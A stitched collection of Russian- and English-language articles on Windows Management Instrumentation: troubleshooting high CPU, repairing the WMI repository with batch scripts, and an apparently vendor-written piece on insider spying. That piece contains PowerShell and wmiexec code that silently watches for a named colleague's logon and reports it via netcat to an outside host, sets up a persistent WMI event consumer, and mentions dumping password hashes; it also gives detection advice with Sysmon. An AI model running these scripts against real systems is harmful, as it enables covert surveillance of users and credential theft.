If the WMI process is still eating up the CPU resources, you need to narrow it down to the specific application forcing the WMI process to function abnormally. The following steps will find the main reason behind this unwanted situation.

Press the Windows logo key and X together on the keyboard. Now open Event Viewer. From the top menu, select View and turn on “Show Analytics and Debug Logs”.

In the left pane, navigate to Applications and Services Logs > Microsoft > Windows > WMI-Activity.

Under the WMI_activity, select operational from the list.

In the right window pane, you will see a list of errors. Click on the error.

Once you click on the error, in the below window, you will find the specifications of the error. Move down to “Client ProcessID= “.

Now go to Task Manager and click services. Match the PID (Client ProcessID) with the service in the list and disable it.

Finally, go to the control panel and uninstall the associated program under the Program and Features.

Remove Malware/Adware

Sometimes the problem of the WMI process taking up the CPU resources is just because of some virus or malware. If all of the above steps fail, scanning your system with some anti-malware or windows repair tool is imperative.

Final Words

WMI process is the core component of managing clients in Windows OS. WMI Provider Host, WmiPrvSE.exe, is safe and is used by developers and administrators to monitor computer systems.

Любой бывалый Windows-админ не раз сталкивался с проблемами в работе службы WMI и ее компонентах. Наличие проблем в подсистеме WMI является критичным с точки зрения нормального функционирования системы, поэтому администратору приходится прибегать к тем или иным трюкам, позволяющим восстановить работоспособность WMI. В этой статье мы опишем достаточно простую методику диагностирования и устранения неполадок в службе WMI.

О наличии проблем с WMI может свидетельствовать широкий спектр ошибок:

Ошибки обработки WMI запросов в системных журналах и логах приложений
Ошибки GPO, завязанные на WMI ( некорректная работа wmi фильтров политик, и пр.)
Ошибки в работе / невозможность установки агентов SCCM/SCOM
Ошибки в работе скриптов (vbs или powershell), использующих пространство имен WMI

В первую очередь нужно проверить имеется ли в системе служба Windows Management Instrumentation (Winmgmt) и включена ли она.

Если служба присутствует и находится в состоянии Started, рекомендуется протестировать работоспособность WMI, обратившись к ней с помощью простого wmi-запроса. С помощью Powershell, например, это можно сделать так:

get-wmiobject Win32_OperatingSystem

Если при выполнении простейшего WMI-запроса система возвращает ошибку (на скриншоте приведен пример корректного ответа службы WMI), вероятно имеет место некорректное функционирование сервиса WMI или ряда его подсистем, повреждение репозитория WMI или другие проблемы.

Утилита WMIDiag

Для «тонкой» диагностики службы WMI существует официальная утилита Microsoft — WMIDiag (Microsoft WMI Diagnosis). Утилита представляет собой vbs скрипт, который проверяет различные подсистемы WMI и записывает собранную информацию в лог файлы (по умолчанию логи находятся в каталоге %TEMP% — C:USERS%USERNAME%APPDATALOCALTEMP). Получившийся отчет состоит из файлов, имена которых начинаются с WMIDIAG-V2.1 и включает в себя следующие типы фалов :

.log файлы содержат подробный отчет об активности и работе утилиты WMIDiag
.txt файлы содержат итоговые отчеты о найденных ошибках, на которые стоит обратить внимание
В .csv файлах содержится информация, нужная для долгосрочного анализа работы подсистемы WMI

Совет. В 64 битных версиях Windows wmidiag нужно запускать так:

c:windowsSystem32cscript.exe wmidiag.vbs

в противном случае появится ошибка: WMIDiag must be run from native 64-bit environment. It is not supported in Wow64.

В общем случае, WMIDiag может дать информацию по исправлению частных ошибок в WMI , но в большинстве случаев процесс это довольно трудоемкий и стоит потраченного времени только при решении инцидентов в критичных системах (как правило, на продуктивных серверах). Для массового сегмента рабочих станций пользователей гораздо проще «бить по площадям» и решать проблему работы WMI более радикально.

Перерегистрация библиотек WMI и перекомпиляция mof файлов

Следующий скрипт представляет собой «мягкий» вариант восстановления работоспособности службы WMI на отдельно взятом компьютере (выполняется перерегистрация dll библиотек и службы WMI, перекомпилируются mof файлы). Данная процедура является безопасной и ее выполнение не должно привести к каким-либо новым проблемам с системой.

sc config winmgmt start= disabled

net stop winmgmt

cd %windir%system32wbem

for /f %%s in ('dir /b *.dll') do regsvr32 /s %%s

wmiprvse /regserver

winmgmt /regserver

sc config winmgmt start= auto

net start winmgmt

for /f %%s in ('dir /b *.mof') do mofcomp %%s

for /f %%s in ('dir /b *.mfl') do mofcomp %%s

Указанные команды можно выполнить путем простой вставки в окно командой строки, либо сохранить код в bat файле и запустить его с правами администратора. После окончания работы скрипта, систему нужно перезагрузить и вновь проверить работу WMI.

В том случае, если предыдущий способ не помог, придется перейти к более «жесткому» способу восстановления работоспособности службы WMI, заключающегося в пересоздании хранилища.

WMI репозиторий (хранилище) находится в каталоге %windir%System32WbemRepository и представляет собой базу данных, в которой содержится информация о метаданных и определениях WMI классов. В некоторых случаях репозитория WMI может содержать статическую информацию классов. При повреждении репозитория WMI, в работе службы Windows Management Instrumentation (Winmgmt) могут наблюдаться ошибки вплоть до полной невозможности ее запустить.

В том случае, если вы подозреваете, что репозиторий WMI поврежден, имейте в виду, что его пересоздание это последняя вещь, к которой нужно прибегнуть только в том случае, если никакие другие операции реанимировать WMI не помогают.

Совет. На практике бывают случаи, когда пересоздание хранилища WMI приводит к проблемам со сторонним софтом. Вызван этот эффект тем, что все записи в базе WMI обнуляются (до состояния чистой системы). Такое ПО, вероятно, придется переустанавливать в режиме восстановления.

В Windows Vista и выше проверить целостность репозитория WMI можно с помощью команды:

winmgmt /verifyrepository

Если команда возвращает, что база данных WMI находится в неконсистентном состоянии (INCONSISTENT), стоит попробовать выполнить «мягкое» восстановление репозитория:

Winmgmt /salvagerepository

И перезапустить службу wmi:

net stop Winmgmt

net start Winmgmt

Если описанная выше команда не помогла, выполняем сброс репозитория на начальное состояние (hard reset) так:

Winmgmt /resetrepository

В том случае, если команды Winmgmt /salvagerepository и Winmgmt /resetrepository желаемого эффекта не дали, стоит попробовать выполнить «жесткое» пересоздание базы WMI вручную таким сценарием:

sc config winmgmt start= disabled

net stop winmgmt

cd %windir%system32wbem

winmgmt /kill

winmgmt /unregserver

winmgmt /regserver

winmgmt /resyncperf

if exist Repos_bakup rd Repos_bakup /s /q

rename Repository Repos_bakup

regsvr32 /s %systemroot%system32scecli.dll

regsvr32 /s %systemroot%system32userenv.dll

for /f %%s in ('dir /b *.dll') do regsvr32 /s %%s

for /f %%s in ('dir /b *.mof') do mofcomp %%s

for /f %%s in ('dir /b *.mfl') do mofcomp %%s

sc config winmgmt start= auto

net start winmgmt

wmiprvse /regserver

Данный скрипт полностью пересоздает хранилище WMI (старый репозитория сохраняется в каталоге Repos_bakup). После окончания работы скрипта компьютер нужно перезагрузить, после чего протестировать работу службы WMI простым запросом.

Источник

Инструментарий управления Windows (WMI) — это подсистема PowerShell, которая обеспечивает администраторам доступ к мощным инструментам системного мониторинга. Этот инструментарий задумывался как быстрое и эффективное средство системного администрирования, однако далеко не все используют его с благими целями: с его помощью злоумышленники-инсайдеры могут шпионить за другими сотрудниками. Знание этой уязвимости WMI ощутимым образом упрощает обнаружение внутренних угроз и борьбу с ними.
В этой статье мы рассмотрим, что такое инструментарий WMI, для чего он нужен и как его можно использовать для отслеживания инсайдерской деятельности в системе. Мы также составили более подробное руководство, посвященное событиям WMI и инсайдерскому шпионажу, которое вы можете скачать бесплатно.

Краткий обзор: что такое WMI и для чего он нужен?

Приведем конкретный пример. С помощью WMI вы можете запросить, например, все большие файлы Excel, находящиеся в том или ином каталоге, а затем получать уведомление каждый раз при создании файла с заданным размером, например 1 Мб. Командлет Register-WmiEvent позволяет сделать все это с помощью одной не слишком сложной строки в PowerShell.

В хороших руках WMI может послужить многим благим целям, но точно так же он может стать инструментом вредоносной инсайдерской деятельности. Можно легко представить, как некий сотрудник с повадками Эдварда Сноудена использует WMI, чтобы шпионить за своими коллегами. Для этого ему даже не понадобятся особые технические знания.

Предположим, наш гипотетический инсайдер «случайно» подсмотрел, что его коллега Лекс периодически скачивает большие файлы Excel, содержащие номера социального страхования и другие личные данные клиентов. В этом случае наш незаметный инсайдер может соорудить нечто подобное:

Register-WmiEvent -Query "SELECT * FROM __InstanceModificationEvent WITHIN 5 WHERE TargetInstance isa 'CIM_DataFile' and TargetInstance.FileSize > 2000000 and TargetInstance.Path = '\Users\lex\Important' and targetInstance.Drive = 'C:’ and targetInstance.Extension =’xlsx’” -Action $action

Этот код запрашивает объект CIM_DataFile для получения доступа к информации о создании файла Excel в указанном каталоге, а затем запускает выполнение блока сценария. Ближе к концу этой статьи мы рассмотрим подробнее, как может выглядеть этот блок сценария в случае с нашим гипотетическим инсайдером.

Для чего используется инструментарий управления Windows

Прежде чем мы перейдем к изучению того, как WMI может использоваться инсайдерами в целях отслеживания, стоит отметить, что у него есть множество законных применений. Глобальное предназначение этой системы — свести воедино все средства управления устройствами и приложениями в корпоративных сетях. Таким образом, WMI может использоваться:

для сбора информации о статусе локальных и удаленных компьютерных систем
настройки параметров безопасности для удаленных компьютеров и приложений
настройки и редактирования свойств системы
настройки и редактирования разрешений для авторизованных пользователей и групп
выполнения кода и сериализации объектов (своеобразный «SSH на стероидах»)
назначения и редактирования меток дисков
создания графика выполнения процессов
резервного копирования репозиториев объектов
включения и отключения регистрации ошибок

Доступ ко всем этим функциям можно получить с помощью PowerShell и WMIC — интерфейса командной строки WMI. Как видите, у WMI есть самые разные применения, и эта система позволяет отслеживать и редактировать множество разнообразных параметров в компьютерной сети.

Архитектура инструментария управления Windows

Инструментарий WMI является частью операционной системы Windows, и он предварительно установлен на всех операционных системах, начиная с Windows 2000. WMI состоит из следующих компонентов:

Служба WMI — это реализация системы WMI в Windows. Этот процесс отображается под именем «Инструментарий управления Windows» и является связующим звеном между поставщиками WMI, репозиторием WMI и управляющими приложениями. Данный процесс запускается автоматически при включении компьютера.
Управляемые объекты — это любые логические или физические компоненты либо службы, которыми можно управлять с помощью WMI. К таким объектам могут относиться самые разные компоненты, поскольку WMI может получить доступ к любому параметру или объекту, к которым имеют доступ другие инструменты Windows, такие как системный монитор.
Поставщики WMI — это объекты, которые отслеживают события и данные конкретного объекта. Существует множество различных типов поставщиков WMI как общего назначения, так и предназначенных для конкретных устройств. Многие из них предварительно встроены в систему Windows.
Классы используются поставщиками WMI для передачи данных службам WMI. В классах содержатся события и свойства, позволяющие получать и настраивать данные. Системные классы WMI предварительно определены и начинаются с двойного подчеркивания.
Методы, будучи привязанными к конкретным классам, позволяют выполнять действия на основе имеющихся в них данных. Например, методы можно использовать для запуска и завершения процессов на удаленных компьютерах. Доступ к методам можно получить с помощью приложений для обработки сценариев или сетевого администрирования.
Репозиторий WMI — это база данных, в которой хранятся все статические данные, связанные с WMI. Динамические данные не хранятся в репозитории. Доступ к ним можно получить через класс поставщика WMI.
Диспетчер объектов CMI — это система, которая находится между управляющим приложением и поставщиками WMI. Она запрашивает данные у этих поставщиков и затем передает их приложению.
API WMI выполняет эти операции и предоставляет приложениям доступ к инфраструктуре WMI без привязки к типу используемого устройства.
Потребитель WMI — это сущность, которая отправляет запросы объектам через диспетчер объектов. Обычно потребитель WMI является приложением для мониторинга, таким как PRTG Network Monitor, управляющим приложением или сценарием PowerShell.

Выполнение запросов WMI

Самым простым способом выполнения запроса WMI является запуск WMIC в стандартной командной строке Windows. Выполните следующие действия, чтобы получить информацию о процессоре, используемом на локальном компьютере:

Откройте командную строку
Введите WMIC для вызова программы и нажмите клавишу Enter
Появится окно командной строки WMIC
В командной строке можно выполнять запросы WMI. Самый простой запрос — это просмотр информации о локальном процессоре, который можно выполнить с помощью следующей команды:
```
WMIC CPU
```
Результаты будут отображены в командной строке

Практически все команды, которые будут рассмотрены ниже, выполняются таким образом. Однако WMI позволяет получать гораздо более подробную информацию, чем сведения о процессоре, и в том числе от удаленных компьютеров и приложений.

Практикум по использованию событий WMI для наблюдения за системой

В этом разделе мы рассмотрим, как с помощью WMI выполнять команды и отслеживать процессы на удаленных компьютерах. Подобные приемы можно использовать в составе системы анализа поведения пользователей и сущностей (UEBA) для автоматического мониторинга процессов во всей системе и проверки на инсайдерские угрозы, о которых свидетельствуют подозрительное поведение или аномальные события.

Использование функциональности wmiexec из Impacket

В WMI можно выполнять разные функции, помимо управления событиями. В нем можно запускать процессы и выполнять команды в окнах Windows как на локальных, так и на удаленных компьютерах. Ради интереса попробуйте ввести команду wmic process call create ‘notepad.exe’ в сеансе PowerShell, чтобы открыть старый текстовый редактор Microsoft. При этом используется замечательный инструмент командной строки wmic, входящий в состав WMI. Здорово, правда?

Если бы я добавил параметр /Node:, а затем имя удаленного компьютера Windows, то смог бы запустить Блокнот на нем, при условии что у меня есть соответствующие разрешения. Совершенно ясно, что на практическом уровне wmic является незаменимым помощником для системных администраторов.

Прежде чем вы начнете возмущаться: я знаю, что существуют эквивалентные командлеты PowerShell. Однако я считаю, что синтаксис wmic легче запомнить.
Было бы здорово, если бы я мог с помощью WMI создать простую и незаметную псевдооболочку.

Скрытая псевдооболочка, созданная с помощью wmiexec

К моему везению, это можно сделать в Impacket. В тестовой среде Amazon я использовал свой любимый wmiexec для доступа к WMI через виртуальную машину Linux. В wmiexec предусмотрена возможность создания псевдооболочки: каждый раз, когда на стороне клиента вводится команда, на целевом компьютере создается отдельная оболочка для выполнения этой команды.
И в psexec, и в smbexec для запуска команд в удаленной системе используются службы Windows. Работа smbexec протекает незаметнее, так как он быстро создает, а затем удаляет службу, а psexec, наоборот, оставляет ее на виду.

Инструмент wmiexec напрямую запускает cmd.exe для удаленного выполнения команды. Созданную команду можно найти в средстве просмотра событий. Обратите внимание, что мы избежали привлекающих внимание служб Windows

Инструмент wmiexec абсолютно не затрагивает службы, вместо этого используя описанные выше возможности WMI для непосредственного запуска процесса. При поиске возможных источников угроз специалисты по безопасности редко начинают с WMI, в то время как службы обычно являются хорошим местом для начала поиска улик, указывающих на атаку. Хороший ход, wmiexec!

Использование событий WMI для наблюдения за пользователями

Пока я тешил себя мыслью, что я один такой умный и занимаюсь экспериментами с WMI, оказалось, что ребята, занимающиеся тестами на проникновение, уже давно поняли, как все работает. Вам обязательно нужно прочитать потрясающую презентацию Мэтта Грэбера (Matt Graeber) с конференции Black Hat 2015 года, где он рассказывает, как злоумышленники могут превратить WMI и весь его арсенал для работы с событиями в инструмент для взломов.

В моей истории я представляю себе инсайдера а-ля Сноуден, который обладает некоторыми техническими знаниями, но не глубокой хакерской мудростью, и которому доверяют другие сотрудники. Этому человеку не нужно знать все про WMI. Ему нужно знать только то, что требуется для работы на удаленном компьютере и инициирования событий.

Помимо файловых объектов, есть еще один интересный класс объектов, который можно изучить с помощью WMI, — win32_LogOnSession. Запрос этого базового объекта Windows позволяет найти пользователей, которые в данный момент находятся в системе. Затем можно использовать блок сценария действий Register-WmiEvent для запуска сценария PowerShell при удаленном входе нового пользователя в систему. Уловили суть? Злоумышленник может получать уведомления каждый раз, когда пользователь, за которым он следит, входит в целевую систему.

Вот что я набросал:

Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" –Action $action

Следующий вопрос — как запрограммировать выполнение блока сценария. Загадочного инсайдера из моих фантазий интересует конкретный пользователь — Круэлла. Наш злодей потихоньку шпионил за Круэллой и теперь планирует использовать собранную информацию, чтобы взломать ее рабочую учетную запись.

Задача блока сценария — проверить, кто вошел в систему, и определить, была ли это Круэлла. Я написал несколько строк кода PowerShell для этой цели, но это явно не самый лучший способ. Я никак не использую информацию о событии, передаваемую в блок сценария, а именно сведения о новом пользователе. Я наталкиваюсь на препятствия, причины которых я не могу понять в данный момент. Для этого нужно больше технических знаний, чем наш гипотетический инсайдер имеет или готов приобрести.

Вместо этого я просто перебрал список пользователей, возвращаемых gwmi Win32_Process (попробуйте запустить этот командлет в сеансе PowerShell), и сопоставил их с параметром «Круэлла». Можете полюбоваться на мое финальное решение:

Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" -Action {

$names=gwmi Win32_Process|% { $_.GetOwner().User}
foreach ($user in $names){

    if ($user -eq "cruella") {

        echo "cruella logged in"| C:UserslexDocumentsnc.exe 172.31.19.75 80
    }
}


}

Register-WmiEvent позволяет сохранять скрытность, поскольку он запускается только при новом входе в систему, вместо того чтобы регулярно запрашивать объект Win32_Process, что может быть довольно заметным.

Помните, что наш инсайдер старается не привлекать к себе внимания. У нее есть доступ к удаленной системе через psexec, smbexec или wmiexec (самый незаметный способ). Однако ей не нужно постоянно бродить туда-сюда по системе жертвы.

В этом и прелесть использования событий WMI. Вы можете дождаться уведомления от Register-WmiEvent, а затем спокойно сделать свой ход.

Интеграция Netcat и WMI

Но каким образом сценарий возвращает горячую новость о том, что Круэлла вошла в систему на целевом компьютере?

Если вы заметили, что я использовал команды Netcat выше, можете поставить себе плюсик. Netcat — известная и универсальная утилита, позволяющая устанавливать соединения (необязательно для вредоносного ПО). С помощью нее можно выполнять обратное подключение или просто передавать сообщения по сети. Я воспользовался этой второй возможностью.

Приведенный выше сценарий отправляет сообщение Netcat в режиме ожидания и отображает надпись «Круэлла вошла в систему». Миссия выполнена.

Вы можете представить себе, как наш мошенник затем сбрасывает хеши с помощью инструмента secretsdump Impacket, взламывает хеш учетных данных Круэллы, после чего запускает wmiexec, используя разрешения Круэллы, для поиска более ценных данных.

Код Register-WmiEvent можно запустить напрямую. Обратите внимание на отображаемый идентификатор события

Устранение недочетов в механизме наблюдения WMI

В рамках этого примера я хотел удаленно запустить (используя wmiexec) полезную программу, которая будет предупреждать меня, когда конкретный пользователь, то есть Круэлла, входит в систему. После этого я мог спокойно сбросить и взломать ее учетные данные. Это был бы самый незаметный способ — удаленный доступ и никаких файлов. Единственная проблема, как мне поначалу казалось, заключалась во временном характере событий WMI.

Поэтому мне нужно было заключить мое непристойно длинное Register-WMIEvent (ниже) в командную строку PowerShell с параметром –noexit, обеспечивающим сохранение сеанса PowerShell после выполнения Register-Event, а значит, и сохранение события.

 Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" -Action {$names=gwmi Win32_Process|% { $_.GetOwner().User};foreach ($user in $names){if ($user -eq "cruella") {echo "cruella logged in"| C:UserslexDocumentsnc.exe 172.31.19.75 80}}}

Когда я начал работать над этим, я понял, что должен «преобразовать» специальные символы, такие как $, “ и |, и передавать их как литералы непосредственно в PowerShell. Еще одна головная боль: мне в итоге пришлось отказаться от использования вертикальных линий, поскольку они вызывали ошибки анализа. Не спрашивайте. Постепенно я пришел к этой длинной строке кода:

$command="powershell -noexit -C Register-WMIEvent -Query ""Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3"" -Action {`$names = gwmi Win32_Process; `$users=@(); foreach (`$n in `$names) {`$users += `$n.GetOwner().User}; foreach (`$u in `$users) {if (`$u -eq ""cruella"") {.wmiexec C:UserslexDocumentsnc.exe 172.31.18.92 80 }}}
.wmiexec.exe corp.acme/lex@172.31.46.115 "$command"

Она выглядела многообещающе и, казалось, работала правильно, если верить журналу событий Windows в целевой системе. Однако, присмотревшись, я понял, что она не работает. Я уверен, что в итоге смог бы привести ее в нужный вид, но для этого мне потребовалось бы время и кофе, много кофе. Есть и другой вариант, чуть менее незаметный и совсем не бесфайловый: можно использовать smbclient для переноса сценария, а затем запустить его напрямую на целевом компьютере.

Удаленное выполнение сложного командлета Register-Event казалось мне абсолютно правильным. Но оно не работало. Ну и ладно

Увы, на этом этапе мои предположения о том, что сообразительный, но не слишком опытный инсайдер мог бы легко использовать временные события WMI для скрытого наблюдения, стали потихоньку разваливаться.

Почему при наблюдении нужно использовать постоянные события?

Правильный и одновременно требующий более глубоких знаний способ заключается в использовании постоянных событий WMI. Постоянные события WMI, хотя и представляют некоторую сложность, не только являются более эффективным инструментом для шпионов-инсайдеров, чем временные события, но и позволяют гораздо эффективнее отслеживать внутренние угрозы.

Изучение постоянных событий потребует некоторого времени, но они представляют наиболее эффективный способ реализации строгой системы мониторинга для больших систем. Они обладают более широкими возможностями, чем временные события WMI. Их также можно использовать для оповещения о нестандартной вредоносной активности, такой как DNS-туннелирование или нарушение политик Zero Trust.
Я посвятил изучению постоянных событий пару дней и обнаружил, что в PowerShell есть специальный командлет, который упрощает процесс создания фильтра событий, потребителя и объектов WMI между фильтром и потребителем. Как мы все знаем, PowerShell предоставляет администраторам широкие возможности для упрощения работы. К сожалению, данный пример показывает, как этими прекрасными возможностями могут воспользоваться злоумышленники.
Инсайдер создает постоянное событие на целевой системе, тем самым освобождая себя от необходимости присутствовать в сеансе оболочки. Событие остается там навсегда или до тех пор, пока не будет удалено явным образом. Подробнее о том, как это сделать, можно прочитать здесь , но в целом процесс похож на то, что я сделал выше с временным событием. Последнее, что потребуется от нашего хакера, — связать фильтр события с потребителем события.

Соглашусь, что для обычного сотрудника, который вдруг решил стать злобным хакером, это выглядит слишком круто. Ради интереса я почитал разные форумы и увидел, что многие люди безуспешно бьются над тем, чтобы заставить постоянные события WMI работать. Однако это вовсе не выходит за рамки возможностей нашего «Сноудена» и других сообразительных системных администраторов, которые решили перейти на темную сторону.

Постоянные события: советы для ИТ-администраторов

Эти методы не предназначены для обучения потенциальных хакеров или обиженных сотрудников, которые хотят отомстить работодателю. Все, чего я хочу, — это помочь ИТ-специалистам понять образ мысли хакера, чтобы они могли внедрить соответствующую защиту от атак на проникновение. Для них я показываю, как настроить фильтр и объекты потребителя с помощью командлета Set-WmiInstance:

$Filter = Set-WmiInstance -Namespace rootsubscription -Class __EventFilter -Arguments @{

EventNamespace = 'root/cimv2'
Name = “cruella”
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LoggedOnUser'"
QueryLanguage = 'WQL'
}


$command = "powershell.exe -Command {$names = gwmi Win32_Process; $users=@(); foreach ($n in $names) {$users += $n.GetOwner().User}; foreach ($u in $users) {if ($u -eq 'cruella') { C:userslexDocumentsnc.exe 172.31.45.240 10000}}}"


$Consumer = Set-WmiInstance -Namespace rootsubscription -Class CommandLineEventConsumer -Arguments @{
Name = "Consumer"
CommandLineTemplate = $Command

}

Ваше домашнее задание — придумать код PowerShell, который свяжет эти два компонента воедино.

В ходе моих собственных тестов я смог заставить постоянное событие работать на целевой системе без чрезмерных усилий и страданий. Как вы помните, этого было весьма сложно добиться с временными событиями WMI, которые длятся ровно столько, сколько и сеанс PowerShell.

Настроив постоянное событие WMI, чтобы, например, следить за входом пользователей в систему, инсайдер или хакер не обязан оставаться в целевой системе. Дополнительным бонусом является то, что постоянное событие WMI является устойчивым: при перезагрузке компьютера триггеры событий по-прежнему действуют. Это делает постоянные события WMI мощным и скрытным способом инициировать атаку, которая может включать гораздо больше, чем просто мониторинг. Как вы помните, события WMI — далеко не самое первое место, где специалисты по безопасности будут искать источник атаки.

Например, код PowerShell для потребителя события может выступать как средство запуска и скачивать вредоносное ПО, хранящееся на удаленном сервере, с помощью DownloadString. Великолепная презентация Мэтта Грэбера на конференции Black Hat содержит много информации о вредоносном потенциале постоянных событий WMI.

Если вы специалист по безопасности, то как вы будете работать с событиями WMI с точки зрения их потенциального вредоносного использования?

Удача на вашей стороне: с помощью командлета Get-WmiObject (псевдоним gwmi) можно создать список фильтров событий, потребителей и связывающих объектов:

Вы перечисляете постоянные события WMI с помощью Get-WMIObject и устанавливаете соответствующие параметры. Обратите внимание на отсутствие отметки о времени создания.

Теперь, если фильтр (или потребитель) постоянного события покажется им подозрительным, ИТ-специалисты могут отключить его путем удаления с помощью конвейера PowerShell и командлета WMI-RemoveObject:

Удаление постоянных событий WMI включает использование конвейера PowerShell

Обратите внимание, что здесь не указано ни время создания события, ни имя злонамеренного пользователя. Для получения этой криминалистической информации потребуется обратиться к журналам событий Windows. Подробнее об этом ниже.

Можно ли отключить постоянные события WMI?

По крайней мере, ИТ-специалисты могут быстро увидеть зарегистрированные постоянные события WMI и приступить к анализу сценариев реальных событий на наличие признаков угроз. Возможно, как опытный специалист по ИТ-безопасности, вы считаете, что не всем нужен WMI на ноутбуках и лучшая стратегия по работе с уязвимостями постоянных событий WMI — это совсем отключить WMI.

Можно попробовать отключить службу Winmgmt, которая запускает WMI. На практике это не так уж просто. В ходе моих собственных тестов я так и не смог отключить эту службу: она автоматически запускалась снова и снова.

Предположим, что вам все же удалось отключить ее. Административное программное обеспечение Windows во многом зависит от WMI и не будет работать, если Winmgmt недоступна. По всему Интернету форумы наполнены сообщениями, предостерегающими от отключения WMI. Советую к ним прислушаться и помиловать ваш WMI.

Выявление событий WMI, представляющих угрозу, с помощью Sysmon и SIEM

В общем, вам придется принять уязвимость событий WMI как факт. К счастью, есть более эффективные способы обнаружения постоянных событий и других подозрительных операций с событиями в Windows, чем использование вышеупомянутого командлета Powershell.

Знакомьтесь, Sysmon! Я не буду вдаваться в подробности, рассказывая об этой бесплатной утилите Windows, которую можно загрузить здесь, в этой статье. Скажу лишь, что она позволяет получать очень полезную информацию для анализа в одном месте, вместо того чтобы просматривать каждый журнал событий Windows по отдельности. Пользователям Windows 7 и более поздних версий возможности Sysmon могут не понадобиться, поскольку в новых системах Windows используются более совершенные механизмы ведения стандартных журналов.

Sysmon — удобная и понятная утилита для регистрации событий от Microsoft

Sysmon назначает идентификатор события 19 созданию постоянного событию фильтра WMI (20 назначается созданию события потребителя WMI, а 21 — связыванию WMI). Если вы откроете средство просмотра событий, вы найдете журнал событий Sysmon в разделе Microsoft -> Windows -> Sysmon.

Вы не хотите открывать средство просмотра событий вручную, чтобы отслеживать постоянные события WMI, которые могут быть признаком хакерской активности. Мы знаем, как вам помочь.
Почему бы не создать фильтр постоянных событий WMI для мониторинга создания (догадались?) постоянного события WMI?

На GitHub есть небольшой проект, где вы найдете код для настройки этой операции. Вот фрагмент кода для фильтра событий WMI, который позволяет отслеживать создание… да-да, фильтра событий WMI:

$Filter = Set-WmiInstance -Namespace rootsubscription -Class __EventFilter -Arguments @{
EventNamespace = 'root/subscription'
Name = '_PersistenceEvent_'
Query = 'SELECT * FROM __InstanceCreationEvent WITHIN 5 Where TargetInstance ISA "__EventConsumer"'

QueryLanguage = 'WQL'
}

Очевидно, что здесь нам понадобится помощь средств по управлению информационной безопасностью и событиями безопасности (SIEM), поскольку улики погребены в завалах журналов. Я думаю, вы понимаете, к чему все идет. Вам понадобится решение для мониторинга безопасности, объединяющее функции SIEM с анализом других угроз для обнаружения и устранения угроз, связанных с постоянными событиями WMI.

Часто задаваемые вопросы об инструментарии управления Windows

Описанные выше методы вполне могут быть использованы для реализации системы наблюдения в вашей сети, однако у вас могли остаться некоторые вопросы о WMI. В этом разделе мы ответим на самые распространенные из них.

WMI объявлен устаревшим?

Сам WMI не устарел, но была объявлена устаревшей WMIC, что вводит многих людей в заблуждение. Для доступа к функциям, ранее обеспечиваемым WMIC, теперь используется PowerShell.

Какие порты использует WMI?

WMI использует TCP-порт 135 и ряд динамических портов: 49152-65535 (динамические порты RPC: Windows Vista, 2008 и выше), TCP 1024-65535 (динамические порты RPC: Windows NT4, Windows 2000, Windows 2003). Вы также можете настроить для WMI пользовательский диапазон портов.

WMI использует WimRM?

Данная конфигурация не является стандартной, однако вы можете использовать WMI для получения данных с помощью сценариев или приложений, использующих WinRM Scripting API, или с помощью инструмента командной строки Winrm. WinRM может использовать WMI для сбора данных о ресурсах или для управления ресурсами в операционной системе Windows.

Заключение

Как мы увидели, WMI предоставляет администраторам мощный инструмент для мониторинга удаленных процессов и компьютеров и может использоваться при разработке соглашений о мониторинге конечных пользователей (EUMA) для автоматического оповещения о подозрительной активности. Это делает его отличным инструментом для обнаружения и устранения внутренних угроз, предотвращения попыток обойти политики безопасности, а также наблюдения за тем, как используются ваши системы.

Если вы хотите узнать больше о том, как использовать WMI для наблюдения за инсайдерской деятельностью, вы можете скачать наше подробное руководство здесь.

Источник

На чтение 4 мин. Просмотров 526 Опубликовано 03.09.2019

Ошибка « Файлы управления Windows перемещена или отсутствует » возникает у некоторых пользователей, когда они открывают системную информацию Microsoft через «Выполнить». Сводная информация о системной информации гласит: « Не могу собрать информацию, не могу получить доступ к программному обеспечению Windows Management Instrumentation, файлы управления окнами могут быть перемещены или отсутствуют ». Следовательно, окно «Информация о системе» не предоставляет систему подробности. Вот несколько возможных решений для системной ошибки WMI.

Содержание

Решено: файлы управления Windows перемещены или отсутствуют
1. Убедитесь, что служба инструментария управления Windows работает
2. Перезапустите службу инструментария управления Windows.
3. Перерегистрируйте компоненты WMI.
4. Восстановите репозиторий WMI.
5. Добавить сервис в группу администраторов

Решено: файлы управления Windows перемещены или отсутствуют

Убедитесь, что служба инструментария управления Windows работает
Перезапустите службу инструментария управления Windows
Перерегистрация компонентов WMI
Перестройте хранилище WMI
Добавить службу в группу администраторов

1. Убедитесь, что служба инструментария управления Windows работает

Во-первых, убедитесь, что служба инструментария управления Windows включена. Вы можете сделать это, нажав клавишу Windows + горячую клавишу R и введя «services.msc» в «Выполнить».

Дважды щелкните Инструментарий управления Windows в окне «Службы».

Если WMI отключен, выберите Автоматический в раскрывающемся меню Тип запуска.
Нажмите кнопку Пуск .
Затем нажмите кнопки Применить и ОК .

– СВЯЗАННО: исправлено: ошибка MEMORY_MANAGEMENT в Windows 10

2. Перезапустите службу инструментария управления Windows.

Перезапуск WMI может устранить ошибку « Файлы управления Windows перемещены или отсутствуют ». Для этого нажмите клавишу Windows + горячую клавишу X и выберите, чтобы открыть Командную строку (Администратор) .
Введите «cd windows system32 wbem» и нажмите Enter.
Введите «regsvr32 wmiutils.dll» в командной строке и нажмите клавишу возврата.

Затем введите «net stop winmgmt» и нажмите «Return».
Чтобы перезапустить службу WMI, введите «net start winmgmt» и нажмите «Return».

3. Перерегистрируйте компоненты WMI.

Некоторые пользователи подтвердили, что исправили системную ошибку « Файлы управления Windows перемещены или отсутствуют » путем повторной регистрации службы WMI. Чтобы заново зарегистрировать WMI, нажмите кнопку Cortana на панели задач Win 10.
Введите ключевое слово «Командная строка» в поле поиска Cortana.
Нажмите правой кнопкой мыши командную строку и выберите Запуск от имени администратора .
Введите «cd/d% windir% system32 wbem» и нажмите Enter.

